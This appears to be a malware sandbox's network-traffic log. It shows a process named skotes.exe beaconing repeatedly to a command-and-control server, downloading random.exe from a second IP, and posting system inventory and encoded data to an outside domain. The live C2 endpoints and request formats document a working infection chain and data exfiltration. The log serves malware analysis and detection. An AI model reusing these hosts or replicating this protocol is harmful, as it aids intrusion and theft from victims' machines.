Dec 17, 2024 22:09:19.007205009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50114	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:20.647758007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:21.993635893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50115	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:23.745034933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:25.089979887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50116	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:26.725512028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:28.213701963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50117	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:29.958812952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:31.290093899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50118	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:32.928715944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:34.291522026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50119	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:36.037377119 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:37.370409966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50120	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:39.007035017 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:40.407779932 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50121	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:42.162419081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:43.527353048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50122	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:45.166862965 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:46.545591116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50123	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:48.288608074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:49.631032944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50124	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:51.255821943 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:52.714899063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50125	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:54.459177017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:55.826885939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50126	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:57.459050894 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:58.803564072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50127	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:00.553272963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:01.904011011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50128	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:03.543288946 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:04.913490057 CET	299	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 64 0d 0a 20 3c 63 3e 31 30 31 36 37 34 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d <c>1016749001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50129	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:05.037806988 CET	146	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Tue, 17 Dec 2024 20:47:27 GMT If-None-Match: "6761e35f-43ac00"
Dec 17, 2024 22:10:06.386722088 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:06 GMT Last-Modified: Tue, 17 Dec 2024 20:47:27 GMT Connection: keep-alive ETag: "6761e35f-43ac00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50131	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:08.788256884 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016749001&unit=246122658369
Dec 17, 2024 22:10:10.137154102 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	50132	104.154.220.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:10.557238102 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 500876 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 34 36 39 38 30 39 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734469809", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 17, 2024 22:10:10.677028894 CET	2472	OUT	Data Raw: 34 4f 31 53 34 75 72 61 77 38 56 65 4a 72 39 4e 50 30 32 39 65 78 6e 65 31 76 57 30 75 77 74 34 37 37 78 48 72 73 56 6e 64 78 53 57 74 35 4c 6f 47 68 36 72 48 61 58 4b 50 44 63 74 46 49 72 4b 50 55 74 4b 2b 44 48 67 44 53 41 72 36 31 71 32 75 2b Data Ascii: 4O1S4uraw8VeJr9NP029exne1vW0uwt477xHrsVndxSWt5LoGh6rHaXKPDctFIrKPUtK+DHgDSAr61q2u+Mr1VBa306OLwt4fiuEbkfabhdV13XNOmA7W3g2\/VTwY26fnvEHibwXkEq1DG5xTxOOoVJ0qmX5ZF4\/F069JuNTD1\/YXw2Drws+enjsRhpRtZ+9KKf6bwz4P+IHFVPD4rA5DWweXYmnTr0c0ziUcrwVXDVoxlSx
Dec 17, 2024 22:10:10.677073956 CET	2472	OUT	Data Raw: 4e 76 69 42 34 71 73 62 39 4c 43 31 30 54 53 57 75 4a 49 64 5a 38 4d 61 57 6b 30 55 74 30 59 70 72 43 53 39 67 43 4a 4e 4c 44 63 32 5c 2f 35 70 44 36 63 6e 68 4c 4b 55 56 4c 49 50 45 4f 6e 47 55 6f 78 6c 55 6e 6c 48 44 6a 68 54 55 6d 6b 35 79 56 Data Ascii: NviB4qsb9LC10TSWuJIdZ8MaWk0Ut0YprCS9gCJNLDc2\/5pD6cnhLKUVLIPEOnGUoxlUnlHDjhTUmk5yVPiydRxinzSUITnZPljKVk\/wBdn+zv8bIQnKPEvhfUlGEpRpwzvilTqOKuoQdTgunTUpO0YupUhC7XNOMbyX8xD\/eP4fyFNr2r49\/Abx7+zv8AEHVfh\/4905re7s5Hk0vVYFd9K1\/S2dltdV0q5Kqs9tOq\/M
Dec 17, 2024 22:10:10.677102089 CET	2472	OUT	Data Raw: 70 6d 31 38 42 6b 65 4e 49 66 4e 5c 2f 31 58 45 38 5c 2f 77 44 6b 5c 2f 6e 5c 2f 4b 6e 39 4e 6e 7a 2b 58 4c 48 6a 39 33 5c 2f 77 41 39 76 78 5c 2f 54 72 2b 6e 46 44 65 59 49 30 64 5c 2f 75 65 56 5c 2f 79 7a 69 5c 2f 31 50 2b 65 67 6f 4f 67 72 53 Data Ascii: pm18BkeNIfN\/1XE8\/wDk\/n\/Kn9Nnz+XLHj93\/wA9vx\/Tr+nFDeYI0d\/ueV\/yzi\/1P+egoOgrSbJN+w7E8vzYs\/v\/APOe\/vU33pGR3jTzDxH\/AK\/tz\/k8iiI7o3m2bE\/13J\/5ePp\/X+dG15Mb0+frn\/21\/n\/Sg0p9fkQts+TZ5mzzfK+z\/wDLfB\/z68980f6vYm\/\/AFcVxL\/n6Y\/Tt0p\/z+Y
Dec 17, 2024 22:10:10.677123070 CET	2472	OUT	Data Raw: 44 50 44 38 47 6a 32 30 6e 68 37 57 42 71 46 35 34 68 76 35 66 46 65 6f 58 39 71 4c 4b 34 65 57 7a 76 4c 47 61 33 30 37 77 62 63 32 37 71 4e 6c 75 73 33 67 2b 61 2b 74 32 59 74 44 66 6d 59 72 49 50 78 72 72 39 43 50 6a 4c 66 6e 54 5c 2f 41 49 63 Data Ascii: DPD8Gj20nh7WBqF54hv5fFeoX9qLK4eWzvLGa307wbc27qNlus3g+a+t2YtDfmYrIPxrr9CPjLfnT\/AIceImRgst1FZ2EYJxv+2X9tDOo7k\/ZTcNgDkKegyR8Aqu7PbFf179FnCV5cN8UZ3iKtatVzLPqGC9pWqVKkpRyvL6VVOLm3aCeZyhFRtFOLikuWx\/CP00cdhocXcGcO4SjQoUco4axGY+yw9KnShCec5nWoNSVOMb
Dec 17, 2024 22:10:10.677186966 CET	2472	OUT	Data Raw: 5c 2f 79 47 5c 2f 73 4b 6e 62 2b 32 4e 2b 7a 57 66 2b 71 77 65 44 42 2b 65 72 51 6a 2b 74 66 31 65 52 2b 4a 5c 2f 44 5c 2f 67 33 39 71 6a 39 70 54 78 62 34 72 31 65 77 38 50 2b 47 66 44 66 37 4b 50 37 4c 47 74 36 39 72 75 72 33 4d 64 70 70 75 6b Data Ascii: \/yG\/sKnb+2N+zWf+qweDB+erQj+tf1eR+J\/D\/g39qj9pTxb4r1ew8P+GfDf7KP7LGt69rur3Mdppuk6TpvxL\/bau76\/vbmYrHDbW1vFJLI7ZwqnALEA\/5l\/TEwlDEeLOHxFbL4ZpUwHhNkWIwmAqvGKliMVifELNMqjCccvxODxtR+yzKs6NOhiKbliFS5lUhGVKf+vf0C8XXw\/gnj8PSzCeVUsw8Z+IsPjMfSjgnV
